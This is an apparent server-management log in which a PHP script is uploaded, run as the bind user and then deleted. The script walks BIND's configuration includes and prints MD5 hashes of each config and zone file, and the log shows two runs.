MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:47:42: Establishing a connection
2026-04-28 14:47:42: 

PUT: /tmp/pkp625568

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:47:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp625568; rm /tmp/pkp625568'

2026-04-28 14:47:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:47:42: Establishing a connection
2026-04-28 14:47:42: 

PUT: /tmp/pkp268325

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:47:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp268325; rm /tmp/pkp268325'

2026-04-28 14:47:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
